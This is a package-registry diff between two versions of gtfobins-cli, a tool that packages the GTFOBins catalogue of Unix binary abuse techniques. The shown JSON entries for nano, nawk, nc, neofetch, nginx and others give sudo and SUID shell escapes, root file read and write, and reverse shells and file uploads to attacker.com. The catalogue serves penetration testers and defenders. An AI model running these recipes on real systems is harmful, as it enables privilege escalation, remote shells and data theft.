gtfobins-cli 1.0.0__py3-none-any.whl → 1.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- gtfo/__init__.py +2 -1
- gtfo/cli.py +204 -32
- gtfo/data/7z.json +16 -0
- gtfo/data/aa-exec.json +22 -0
- gtfo/data/ab.json +28 -0
- gtfo/data/acr.json +16 -0
- gtfo/data/agetty.json +10 -0
- gtfo/data/alpine.json +22 -0
- gtfo/data/ansible-playbook.json +16 -0
- gtfo/data/ansible-test.json +16 -0
- gtfo/data/aoss.json +16 -0
- gtfo/data/apache2ctl.json +16 -0
- gtfo/data/apport-cli.json +22 -0
- gtfo/data/apt-get.json +6 -6
- gtfo/data/apt.json +8 -8
- gtfo/data/aptitude.json +16 -0
- gtfo/data/ar.json +6 -4
- gtfo/data/aria2c.json +17 -5
- gtfo/data/arj.json +28 -0
- gtfo/data/arp.json +7 -5
- gtfo/data/as.json +22 -0
- gtfo/data/ascii-xfr.json +22 -0
- gtfo/data/ascii85.json +16 -0
- gtfo/data/ash.json +9 -5
- gtfo/data/aspell.json +22 -0
- gtfo/data/asterisk.json +20 -0
- gtfo/data/at.json +3 -1
- gtfo/data/atobm.json +6 -4
- gtfo/data/awk.json +20 -14
- gtfo/data/aws.json +16 -0
- gtfo/data/base32.json +7 -4
- gtfo/data/base58.json +16 -0
- gtfo/data/base64.json +7 -4
- gtfo/data/basenc.json +6 -3
- gtfo/data/basez.json +22 -0
- gtfo/data/bash.json +22 -17
- gtfo/data/bashbug.json +14 -0
- gtfo/data/batcat.json +22 -0
- gtfo/data/bc.json +22 -0
- gtfo/data/bconsole.json +22 -0
- gtfo/data/bee.json +10 -0
- gtfo/data/borg.json +16 -0
- gtfo/data/bpftrace.json +6 -3
- gtfo/data/bridge.json +22 -0
- gtfo/data/bundle.json +32 -0
- gtfo/data/bundler.json +7 -4
- gtfo/data/busctl.json +14 -3
- gtfo/data/busybox.json +17 -8
- gtfo/data/byebug.json +4 -1
- gtfo/data/bzip2.json +22 -0
- gtfo/data/c89.json +28 -0
- gtfo/data/c99.json +28 -0
- gtfo/data/cabal.json +22 -0
- gtfo/data/cancel.json +3 -3
- gtfo/data/capsh.json +6 -3
- gtfo/data/cargo.json +14 -0
- gtfo/data/cat.json +7 -4
- gtfo/data/cdist.json +16 -0
- gtfo/data/certbot.json +2 -0
- gtfo/data/chattr.json +14 -0
- gtfo/data/check_by_ssh.json +2 -3
- gtfo/data/check_cups.json +4 -3
- gtfo/data/check_log.json +20 -18
- gtfo/data/check_memory.json +4 -3
- gtfo/data/check_raid.json +4 -3
- gtfo/data/check_ssl_cert.json +2 -3
- gtfo/data/check_statusfile.json +4 -3
- gtfo/data/chmod.json +4 -3
- gtfo/data/choom.json +22 -0
- gtfo/data/chown.json +5 -4
- gtfo/data/chroot.json +3 -1
- gtfo/data/chrt.json +28 -0
- gtfo/data/clamscan.json +22 -0
- gtfo/data/clisp.json +16 -0
- gtfo/data/cmake.json +28 -0
- gtfo/data/cmp.json +22 -0
- gtfo/data/cobc.json +3 -1
- gtfo/data/code.json +22 -0
- gtfo/data/column.json +6 -4
- gtfo/data/comm.json +6 -3
- gtfo/data/composer.json +3 -0
- gtfo/data/cowsay.json +2 -1
- gtfo/data/cowthink.json +16 -14
- gtfo/data/cp.json +21 -9
- gtfo/data/cpan.json +8 -7
- gtfo/data/cpio.json +14 -12
- gtfo/data/cpulimit.json +6 -3
- gtfo/data/crash.json +5 -4
- gtfo/data/crontab.json +5 -5
- gtfo/data/csh.json +9 -5
- gtfo/data/csplit.json +12 -3
- gtfo/data/csvtool.json +8 -5
- gtfo/data/ctr.json +10 -0
- gtfo/data/cupsfilter.json +6 -3
- gtfo/data/curl.json +19 -7
- gtfo/data/cut.json +7 -4
- gtfo/data/dash.json +9 -5
- gtfo/data/date.json +7 -5
- gtfo/data/dc.json +22 -0
- gtfo/data/dd.json +9 -5
- gtfo/data/debugfs.json +22 -0
- gtfo/data/dhclient.json +10 -0
- gtfo/data/dialog.json +7 -5
- gtfo/data/diff.json +11 -4
- gtfo/data/dig.json +6 -4
- gtfo/data/distcc.json +22 -0
- gtfo/data/dmesg.json +4 -4
- gtfo/data/dmidecode.json +10 -0
- gtfo/data/dmsetup.json +3 -1
- gtfo/data/dnf.json +3 -3
- gtfo/data/dnsmasq.json +10 -0
- gtfo/data/doas.json +10 -0
- gtfo/data/docker.json +9 -6
- gtfo/data/dos2unix.json +10 -0
- gtfo/data/dosbox.json +32 -0
- gtfo/data/dotnet.json +22 -0
- gtfo/data/dpkg.json +5 -5
- gtfo/data/dstat.json +16 -0
- gtfo/data/dvips.json +3 -1
- gtfo/data/easy_install.json +14 -11
- gtfo/data/eb.json +3 -2
- gtfo/data/ed.json +9 -3
- gtfo/data/efax.json +16 -0
- gtfo/data/elvish.json +34 -0
- gtfo/data/emacs.json +11 -6
- gtfo/data/enscript.json +16 -0
- gtfo/data/env.json +7 -4
- gtfo/data/eqn.json +7 -5
- gtfo/data/espeak.json +22 -0
- gtfo/data/ex.json +30 -22
- gtfo/data/exiftool.json +26 -4
- gtfo/data/expand.json +7 -5
- gtfo/data/expect.json +13 -4
- gtfo/data/facter.json +4 -2
- gtfo/data/fail2ban-client.json +14 -0
- gtfo/data/ffmpeg.json +10 -0
- gtfo/data/file.json +8 -8
- gtfo/data/find.json +19 -4
- gtfo/data/finger.json +5 -6
- gtfo/data/firejail.json +35 -0
- gtfo/data/fish.json +22 -0
- gtfo/data/flock.json +7 -4
- gtfo/data/fmt.json +5 -6
- gtfo/data/fold.json +7 -4
- gtfo/data/fping.json +16 -0
- gtfo/data/ftp.json +5 -3
- gtfo/data/fzf.json +90 -0
- gtfo/data/gawk.json +17 -11
- gtfo/data/gcc.json +12 -4
- gtfo/data/gcloud.json +16 -0
- gtfo/data/gcore.json +22 -0
- gtfo/data/gdb.json +15 -13
- gtfo/data/gem.json +8 -8
- gtfo/data/genie.json +22 -0
- gtfo/data/genisoimage.json +11 -4
- gtfo/data/getent.json +14 -0
- gtfo/data/ghc.json +4 -2
- gtfo/data/ghci.json +2 -0
- gtfo/data/gimp.json +19 -14
- gtfo/data/ginsh.json +22 -0
- gtfo/data/git.json +22 -11
- gtfo/data/gnuplot.json +16 -0
- gtfo/data/go.json +58 -0
- gtfo/data/grc.json +16 -0
- gtfo/data/grep.json +7 -5
- gtfo/data/gtester.json +10 -1
- gtfo/data/guile.json +16 -0
- gtfo/data/gzip.json +14 -5
- gtfo/data/hashcat.json +16 -0
- gtfo/data/hd.json +7 -5
- gtfo/data/head.json +7 -4
- gtfo/data/hexdump.json +7 -5
- gtfo/data/hg.json +16 -0
- gtfo/data/highlight.json +7 -4
- gtfo/data/hping3.json +7 -0
- gtfo/data/iconv.json +9 -6
- gtfo/data/iftop.json +3 -1
- gtfo/data/install.json +4 -3
- gtfo/data/ionice.json +7 -4
- gtfo/data/ip.json +11 -5
- gtfo/data/irb.json +13 -8
- gtfo/data/ispell.json +22 -0
- gtfo/data/java.json +10 -0
- gtfo/data/jjs.json +13 -10
- gtfo/data/joe.json +22 -0
- gtfo/data/join.json +6 -3
- gtfo/data/journalctl.json +3 -2
- gtfo/data/jq.json +7 -4
- gtfo/data/jrunscript.json +13 -10
- gtfo/data/jshell.json +35 -0
- gtfo/data/jtag.json +16 -0
- gtfo/data/julia.json +46 -0
- gtfo/data/knife.json +16 -0
- gtfo/data/ksh.json +19 -15
- gtfo/data/ksshell.json +7 -5
- gtfo/data/ksu.json +10 -0
- gtfo/data/kubectl.json +30 -0
- gtfo/data/last.json +16 -0
- gtfo/data/lastb.json +16 -0
- gtfo/data/latex.json +11 -2
- gtfo/data/latexmk.json +9 -6
- gtfo/data/ld.so.json +7 -5
- gtfo/data/ldconfig.json +1 -2
- gtfo/data/less.json +17 -7
- gtfo/data/lessfilter.json +22 -0
- gtfo/data/lesspipe.json +16 -0
- gtfo/data/lftp.json +22 -0
- gtfo/data/links.json +22 -0
- gtfo/data/ln.json +10 -0
- gtfo/data/loginctl.json +16 -0
- gtfo/data/logrotate.json +38 -0
- gtfo/data/logsave.json +7 -4
- gtfo/data/look.json +7 -4
- gtfo/data/lp.json +10 -0
- gtfo/data/ltrace.json +7 -5
- gtfo/data/lua.json +21 -15
- gtfo/data/lualatex.json +6 -4
- gtfo/data/luatex.json +6 -4
- gtfo/data/lwp-download.json +7 -5
- gtfo/data/lwp-request.json +4 -2
- gtfo/data/m4.json +59 -0
- gtfo/data/mail.json +3 -3
- gtfo/data/make.json +15 -7
- gtfo/data/man.json +5 -3
- gtfo/data/mawk.json +12 -6
- gtfo/data/minicom.json +26 -0
- gtfo/data/more.json +7 -3
- gtfo/data/mosh-server.json +10 -0
- gtfo/data/mosquitto.json +22 -0
- gtfo/data/mount.json +2 -2
- gtfo/data/msfconsole.json +16 -0
- gtfo/data/msgattrib.json +22 -0
- gtfo/data/msgcat.json +22 -0
- gtfo/data/msgconv.json +22 -0
- gtfo/data/msgfilter.json +28 -0
- gtfo/data/msgmerge.json +22 -0
- gtfo/data/msguniq.json +22 -0
- gtfo/data/mtr.json +5 -4
- gtfo/data/multitime.json +22 -0
- gtfo/data/mutt.json +14 -0
- gtfo/data/mv.json +5 -4
- gtfo/data/mypy.json +26 -0
- gtfo/data/mysql.json +9 -7
- gtfo/data/nano.json +9 -5
- gtfo/data/nasm.json +22 -0
- gtfo/data/nawk.json +16 -10
- gtfo/data/nc.json +13 -13
- gtfo/data/ncdu.json +22 -0
- gtfo/data/ncftp.json +22 -0
- gtfo/data/neofetch.json +22 -0
- gtfo/data/nft.json +22 -0
- gtfo/data/nginx.json +22 -0
- gtfo/data/nice.json +7 -4
- gtfo/data/nl.json +7 -5
- gtfo/data/nm.json +22 -0
- gtfo/data/nmap.json +26 -16
- gtfo/data/node.json +18 -12
- gtfo/data/nohup.json +10 -6
- gtfo/data/npm.json +6 -0
- gtfo/data/nroff.json +3 -1
- gtfo/data/nsenter.json +5 -3
- gtfo/data/ntpdate.json +22 -0
- gtfo/data/nvim.json +16 -0
- gtfo/data/octave.json +34 -0
- gtfo/data/od.json +7 -5
- gtfo/data/openssl.json +21 -16
- gtfo/data/openvpn.json +13 -5
- gtfo/data/openvt.json +1 -1
- gtfo/data/opkg.json +10 -0
- gtfo/data/pandoc.json +40 -0
- gtfo/data/passwd.json +10 -0
- gtfo/data/paste.json +6 -3
- gtfo/data/pax.json +10 -0
- gtfo/data/pdb.json +3 -2
- gtfo/data/pdflatex.json +5 -2
- gtfo/data/pdftex.json +3 -0
- gtfo/data/perf.json +22 -0
- gtfo/data/perl.json +28 -7
- gtfo/data/perlbug.json +16 -0
- gtfo/data/pexec.json +22 -0
- gtfo/data/pg.json +7 -3
- gtfo/data/php.json +25 -15
- gtfo/data/pic.json +10 -1
- gtfo/data/pico.json +8 -4
- gtfo/data/pidstat.json +22 -0
- gtfo/data/pip.json +19 -8
- gtfo/data/pipx.json +25 -0
- gtfo/data/pkexec.json +3 -2
- gtfo/data/pkg.json +1 -1
- gtfo/data/plymouth.json +10 -0
- gtfo/data/podman.json +10 -0
- gtfo/data/poetry.json +26 -0
- gtfo/data/posh.json +22 -0
- gtfo/data/pr.json +6 -4
- gtfo/data/procmail.json +10 -0
- gtfo/data/pry.json +4 -1
- gtfo/data/psftp.json +22 -0
- gtfo/data/psql.json +14 -1
- gtfo/data/ptx.json +22 -0
- gtfo/data/puppet.json +6 -4
- gtfo/data/pwsh.json +22 -0
- gtfo/data/pygmentize.json +14 -0
- gtfo/data/pyright.json +32 -0
- gtfo/data/python.json +21 -15
- gtfo/data/qpdf.json +18 -0
- gtfo/data/r.json +16 -0
- gtfo/data/rake.json +13 -4
- gtfo/data/rc.json +22 -0
- gtfo/data/readelf.json +7 -5
- gtfo/data/red.json +7 -5
- gtfo/data/redcarpet.json +5 -4
- gtfo/data/redis.json +10 -0
- gtfo/data/restic.json +13 -5
- gtfo/data/rev.json +6 -3
- gtfo/data/rlogin.json +3 -4
- gtfo/data/rlwrap.json +9 -6
- gtfo/data/rpm.json +9 -5
- gtfo/data/rpmdb.json +22 -0
- gtfo/data/rpmquery.json +6 -3
- gtfo/data/rpmverify.json +22 -0
- gtfo/data/rsync.json +7 -4
- gtfo/data/rsyslogd.json +16 -0
- gtfo/data/rtorrent.json +16 -0
- gtfo/data/ruby.json +17 -11
- gtfo/data/run-mailcap.json +7 -7
- gtfo/data/run-parts.json +7 -4
- gtfo/data/runscript.json +22 -0
- gtfo/data/rustdoc.json +26 -0
- gtfo/data/rustfmt.json +15 -0
- gtfo/data/rustup.json +22 -0
- gtfo/data/rview.json +36 -34
- gtfo/data/rvim.json +41 -35
- gtfo/data/sash.json +8 -5
- gtfo/data/scanmem.json +22 -0
- gtfo/data/scp.json +6 -3
- gtfo/data/screen.json +9 -7
- gtfo/data/script.json +6 -4
- gtfo/data/scrot.json +22 -0
- gtfo/data/sed.json +12 -9
- gtfo/data/service.json +5 -3
- gtfo/data/setarch.json +7 -4
- gtfo/data/setcap.json +16 -0
- gtfo/data/setfacl.json +16 -0
- gtfo/data/setlock.json +22 -0
- gtfo/data/sftp.json +7 -5
- gtfo/data/sg.json +1 -0
- gtfo/data/shred.json +16 -0
- gtfo/data/shuf.json +5 -5
- gtfo/data/slsh.json +22 -0
- gtfo/data/smbclient.json +9 -8
- gtfo/data/snap.json +2 -2
- gtfo/data/socat.json +23 -11
- gtfo/data/socket.json +16 -0
- gtfo/data/soelim.json +7 -5
- gtfo/data/softlimit.json +22 -0
- gtfo/data/sort.json +13 -4
- gtfo/data/split.json +15 -4
- gtfo/data/sqlite3.json +12 -6
- gtfo/data/sqlmap.json +16 -0
- gtfo/data/ss.json +6 -4
- gtfo/data/ssh-agent.json +22 -0
- gtfo/data/ssh-copy-id.json +24 -0
- gtfo/data/ssh-keygen.json +6 -6
- gtfo/data/ssh-keyscan.json +22 -0
- gtfo/data/ssh.json +11 -7
- gtfo/data/sshfs.json +42 -0
- gtfo/data/sshpass.json +22 -0
- gtfo/data/sshuttle.json +10 -0
- gtfo/data/start-stop-daemon.json +7 -4
- gtfo/data/stdbuf.json +7 -4
- gtfo/data/strace.json +8 -5
- gtfo/data/strings.json +7 -5
- gtfo/data/su.json +3 -2
- gtfo/data/sudo.json +10 -0
- gtfo/data/svn.json +10 -0
- gtfo/data/sysctl.json +13 -5
- gtfo/data/systemctl.json +7 -4
- gtfo/data/systemd-resolve.json +10 -0
- gtfo/data/systemd-run.json +60 -0
- gtfo/data/tac.json +7 -5
- gtfo/data/tail.json +7 -4
- gtfo/data/tailscale.json +10 -0
- gtfo/data/tar.json +14 -11
- gtfo/data/task.json +16 -0
- gtfo/data/taskset.json +7 -4
- gtfo/data/tasksh.json +22 -0
- gtfo/data/tbl.json +6 -4
- gtfo/data/tclsh.json +11 -6
- gtfo/data/tcpdump.json +11 -4
- gtfo/data/tcsh.json +28 -0
- gtfo/data/tdbtool.json +22 -0
- gtfo/data/tee.json +9 -7
- gtfo/data/telnet.json +6 -6
- gtfo/data/terraform.json +22 -0
- gtfo/data/tex.json +3 -0
- gtfo/data/tftp.json +5 -5
- gtfo/data/tic.json +22 -0
- gtfo/data/time.json +7 -5
- gtfo/data/timedatectl.json +16 -0
- gtfo/data/timeout.json +7 -4
- gtfo/data/tmate.json +22 -0
- gtfo/data/tmux.json +15 -3
- gtfo/data/top.json +2 -2
- gtfo/data/torify.json +16 -0
- gtfo/data/torsocks.json +16 -0
- gtfo/data/troff.json +6 -4
- gtfo/data/tsc.json +26 -0
- gtfo/data/tshark.json +10 -0
- gtfo/data/ul.json +7 -5
- gtfo/data/unexpand.json +7 -4
- gtfo/data/uniq.json +7 -5
- gtfo/data/unshare.json +7 -4
- gtfo/data/unsquashfs.json +16 -0
- gtfo/data/unzip.json +16 -0
- gtfo/data/update-alternatives.json +4 -4
- gtfo/data/urlget.json +16 -0
- gtfo/data/uudecode.json +22 -0
- gtfo/data/uuencode.json +21 -18
- gtfo/data/uv.json +43 -0
- gtfo/data/vagrant.json +22 -0
- gtfo/data/valgrind.json +5 -3
- gtfo/data/varnishncsa.json +16 -0
- gtfo/data/vi.json +18 -6
- gtfo/data/view.json +41 -36
- gtfo/data/vigr.json +16 -0
- gtfo/data/vim.json +43 -38
- gtfo/data/vimdiff.json +41 -36
- gtfo/data/vipw.json +16 -0
- gtfo/data/virsh.json +6 -5
- gtfo/data/volatility.json +10 -0
- gtfo/data/w3m.json +22 -0
- gtfo/data/wall.json +10 -0
- gtfo/data/watch.json +9 -6
- gtfo/data/wc.json +6 -4
- gtfo/data/wg-quick.json +10 -0
- gtfo/data/wget.json +17 -11
- gtfo/data/whiptail.json +22 -0
- gtfo/data/whois.json +9 -10
- gtfo/data/wireshark.json +16 -0
- gtfo/data/wish.json +5 -3
- gtfo/data/xargs.json +9 -8
- gtfo/data/xdg-user-dir.json +16 -0
- gtfo/data/xdotool.json +22 -0
- gtfo/data/xelatex.json +5 -2
- gtfo/data/xetex.json +3 -0
- gtfo/data/xmodmap.json +6 -4
- gtfo/data/xmore.json +6 -4
- gtfo/data/xpad.json +16 -0
- gtfo/data/xxd.json +9 -5
- gtfo/data/xz.json +7 -4
- gtfo/data/yarn.json +20 -0
- gtfo/data/yash.json +22 -0
- gtfo/data/yelp.json +2 -2
- gtfo/data/yt-dlp.json +24 -0
- gtfo/data/yum.json +4 -4
- gtfo/data/zathura.json +16 -0
- gtfo/data/zcat.json +10 -0
- gtfo/data/zic.json +20 -0
- gtfo/data/zip.json +5 -1
- gtfo/data/zless.json +15 -0
- gtfo/data/zsh.json +10 -5
- gtfo/data/zsoelim.json +7 -5
- gtfo/data/zypper.json +5 -3
- gtfo/images/filter-with.png +0 -0
- gtfo/images/search-docker.png +0 -0
- gtfo/images/search-for.png +0 -0
- gtfo/images/search-interactive.png +0 -0
- gtfo/images/sqlit3.png +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/METADATA +66 -17
- gtfobins_cli-1.1.0.dist-info/RECORD +474 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/WHEEL +1 -1
- gtfo/data/octave-cli.json +0 -30
- gtfo/data/ssh_keyscan.json +0 -20
- gtfobins_cli-1.0.0.dist-info/RECORD +0 -263
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/entry_points.txt +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/licenses/LICENSE +0 -0
- {gtfobins_cli-1.0.0.dist-info → gtfobins_cli-1.1.0.dist-info}/top_level.txt +0 -0
gtfo/data/nano.json
CHANGED
|
@@ -2,31 +2,35 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
+
"description": "",
|
|
5
6
|
"code": "nano\n^R^X\nreset; sh 1>&0 2>&0\n"
|
|
6
7
|
},
|
|
7
8
|
{
|
|
8
|
-
"description": "The
|
|
9
|
+
"description": "The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.",
|
|
9
10
|
"code": "nano -s /bin/sh\n/bin/sh\n^T\n"
|
|
10
11
|
}
|
|
11
12
|
],
|
|
12
13
|
"file-write": [
|
|
13
14
|
{
|
|
14
|
-
"
|
|
15
|
+
"description": "",
|
|
16
|
+
"code": "nano file_to_write\nDATA\n^O\n"
|
|
15
17
|
}
|
|
16
18
|
],
|
|
17
19
|
"file-read": [
|
|
18
20
|
{
|
|
19
|
-
"
|
|
21
|
+
"description": "",
|
|
22
|
+
"code": "nano file_to_read\n"
|
|
20
23
|
}
|
|
21
24
|
],
|
|
22
25
|
"limited-suid": [
|
|
23
26
|
{
|
|
24
|
-
"description": "The
|
|
25
|
-
"code": "./nano -s /bin/sh\n/bin/sh\n^T\n"
|
|
27
|
+
"description": "The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.",
|
|
28
|
+
"code": "./nano -s \"/bin/sh -p\"\n/bin/sh -p\n^T\n"
|
|
26
29
|
}
|
|
27
30
|
],
|
|
28
31
|
"sudo": [
|
|
29
32
|
{
|
|
33
|
+
"description": "",
|
|
30
34
|
"code": "sudo nano\n^R^X\nreset; sh 1>&0 2>&0\n"
|
|
31
35
|
}
|
|
32
36
|
]
|
gtfo/data/nasm.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nnasm -@ $LFILE\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./nasm -@ $LFILE\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo nasm -@ $LFILE\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/nawk.json
CHANGED
|
@@ -2,44 +2,50 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"shell": [
|
|
4
4
|
{
|
|
5
|
-
|
|
5
|
+
|
|
6
|
+
"code": "nawk 'BEGIN {system(\"/bin/sh\")}'\n"
|
|
6
7
|
}
|
|
7
8
|
],
|
|
8
9
|
"non-interactive-reverse-shell": [
|
|
9
10
|
{
|
|
10
|
-
"description": "Run
|
|
11
|
-
"code": "
|
|
11
|
+
"description": "Run `nc -l -p 12345` on the attacker box to receive the shell.",
|
|
12
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nnawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {\n s = \"/inet/tcp/0/\" RHOST \"/\" RPORT;\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
|
|
12
13
|
}
|
|
13
14
|
],
|
|
14
15
|
"non-interactive-bind-shell": [
|
|
15
16
|
{
|
|
16
|
-
"description": "Run
|
|
17
|
-
"code": "
|
|
17
|
+
"description": "Run `nc target.com 12345` on the attacker box to connect to the shell.",
|
|
18
|
+
"code": "LPORT=12345\nnawk -v LPORT=$LPORT 'BEGIN {\n s = \"/inet/tcp/\" LPORT \"/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n"
|
|
18
19
|
}
|
|
19
20
|
],
|
|
20
21
|
"file-write": [
|
|
21
22
|
{
|
|
22
|
-
|
|
23
|
+
|
|
24
|
+
"code": "LFILE=file_to_write\nnawk -v LFILE=$LFILE 'BEGIN { print \"DATA\" > LFILE }'\n"
|
|
23
25
|
}
|
|
24
26
|
],
|
|
25
27
|
"file-read": [
|
|
26
28
|
{
|
|
27
|
-
|
|
29
|
+
|
|
30
|
+
"code": "LFILE=file_to_read\nnawk '//' \"$LFILE\"\n"
|
|
28
31
|
}
|
|
29
32
|
],
|
|
30
33
|
"suid": [
|
|
31
34
|
{
|
|
32
|
-
|
|
35
|
+
|
|
36
|
+
"code": "LFILE=file_to_read\n./nawk '//' \"$LFILE\"\n"
|
|
33
37
|
}
|
|
34
38
|
],
|
|
35
39
|
"sudo": [
|
|
36
40
|
{
|
|
37
|
-
|
|
41
|
+
|
|
42
|
+
"code": "sudo nawk 'BEGIN {system(\"/bin/sh\")}'\n"
|
|
38
43
|
}
|
|
39
44
|
],
|
|
40
45
|
"limited-suid": [
|
|
41
46
|
{
|
|
42
|
-
|
|
47
|
+
|
|
48
|
+
"code": "./nawk 'BEGIN {system(\"/bin/sh\")}'\n"
|
|
43
49
|
}
|
|
44
50
|
]
|
|
45
51
|
}
|
gtfo/data/nc.json
CHANGED
|
@@ -2,39 +2,39 @@
|
|
|
2
2
|
"functions": {
|
|
3
3
|
"reverse-shell": [
|
|
4
4
|
{
|
|
5
|
-
"description": "Run
|
|
6
|
-
"code": "
|
|
5
|
+
"description": "Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.",
|
|
6
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nnc -e /bin/sh $RHOST $RPORT\n"
|
|
7
7
|
}
|
|
8
8
|
],
|
|
9
9
|
"bind-shell": [
|
|
10
10
|
{
|
|
11
|
-
"description": "Run
|
|
12
|
-
"code": "
|
|
11
|
+
"description": "Run `nc target.com 12345` on the attacker box to connect to the shell. This only works with netcat traditional.",
|
|
12
|
+
"code": "LPORT=12345\nnc -l -p $LPORT -e /bin/sh\n"
|
|
13
13
|
}
|
|
14
14
|
],
|
|
15
15
|
"file-upload": [
|
|
16
16
|
{
|
|
17
|
-
"description": "Send a local file via TCP. Run
|
|
18
|
-
"code": "
|
|
17
|
+
"description": "Send a local file via TCP. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file.",
|
|
18
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\nnc $RHOST $RPORT < \"$LFILE\"\n"
|
|
19
19
|
}
|
|
20
20
|
],
|
|
21
21
|
"file-download": [
|
|
22
22
|
{
|
|
23
|
-
"description": "Fetch a remote file via TCP. Run
|
|
24
|
-
"code": "
|
|
23
|
+
"description": "Fetch a remote file via TCP. Run `nc target.com 12345 < \"file_to_send\"` on the attacker box to send the file.",
|
|
24
|
+
"code": "LPORT=12345\nLFILE=file_to_save\nnc -l -p $LPORT > \"$LFILE\"\n"
|
|
25
25
|
}
|
|
26
26
|
],
|
|
27
27
|
"sudo": [
|
|
28
28
|
{
|
|
29
|
-
"description": "Run
|
|
30
|
-
"code": "
|
|
29
|
+
"description": "Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.",
|
|
30
|
+
"code": "RHOST=attacker.com\nRPORT=12345\nsudo nc -e /bin/sh $RHOST $RPORT\n"
|
|
31
31
|
}
|
|
32
32
|
],
|
|
33
33
|
"limited-suid": [
|
|
34
34
|
{
|
|
35
|
-
"description": "Run
|
|
36
|
-
"code": "./nc -e /bin/sh
|
|
35
|
+
"description": "Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional.",
|
|
36
|
+
"code": "RHOST=attacker.com\nRPORT=12345\n./nc -e /bin/sh $RHOST $RPORT\n"
|
|
37
37
|
}
|
|
38
38
|
]
|
|
39
39
|
}
|
|
40
|
-
}
|
|
40
|
+
}
|
gtfo/data/ncdu.json
ADDED
gtfo/data/ncftp.json
ADDED
gtfo/data/neofetch.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"shell": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "TF=$(mktemp)\necho 'exec /bin/sh' >$TF\nneofetch --config $TF\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-read": [
|
|
10
|
+
{
|
|
11
|
+
"description": "The file content is used as the logo while some other information is displayed on its right, thus it might not be suitable to read arbitray binary files.",
|
|
12
|
+
"code": "LFILE=file_to_read\nneofetch --ascii $LFILE\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "TF=$(mktemp)\necho 'exec /bin/sh' >$TF\nsudo neofetch --config $TF\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/nft.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"file-read": [
|
|
4
|
+
{
|
|
5
|
+
|
|
6
|
+
"code": "LFILE=file_to_read\nnft -f \"$LFILE\"\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"suid": [
|
|
10
|
+
{
|
|
11
|
+
|
|
12
|
+
"code": "LFILE=file_to_read\n./nft -f \"$LFILE\"\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
"sudo": [
|
|
16
|
+
{
|
|
17
|
+
|
|
18
|
+
"code": "LFILE=file_to_read\nsudo nft -f \"$LFILE\"\n"
|
|
19
|
+
}
|
|
20
|
+
]
|
|
21
|
+
}
|
|
22
|
+
}
|
gtfo/data/nginx.json
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
1
|
+
{
|
|
2
|
+
"functions": {
|
|
3
|
+
"sudo": [
|
|
4
|
+
{
|
|
5
|
+
"description": "This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.",
|
|
6
|
+
"code": "PORT=1337\nLFILE=file_to_read\nTFC=$(mktemp)\ncat > $TFC << EOF\nuser root;\nevents {\n worker_connections 1024;\n}\nhttp {\n server {\n listen $PORT;\n root /;\n autoindex on;\n dav_methods PUT;\n }\n}\nEOF\nsudo nginx -c $TFC\ncurl -s http://localhost:$PORT$LFILE\n"
|
|
7
|
+
}
|
|
8
|
+
],
|
|
9
|
+
"file-read": [
|
|
10
|
+
{
|
|
11
|
+
"description": "This will start a nginx webserver on the specified port. This will provide read/write access to all files on the system. The file path must be absolute.",
|
|
12
|
+
"code": "PORT=1337\nLFILE=file_to_read\nTFC=$(mktemp)\ncat > $TFC << EOF\nuser root;\nevents {\n worker_connections 1024;\n}\nhttp {\n server {\n listen $PORT;\n root /;\n autoindex on;\n dav_methods PUT;\n }\n}\nEOF\nsudo nginx -c $TFC\ncurl -s http://localhost:$PORT$LFILE\n"
|
|
13
|
+
}
|
|
14
|
+
],
|
|
15
|
+
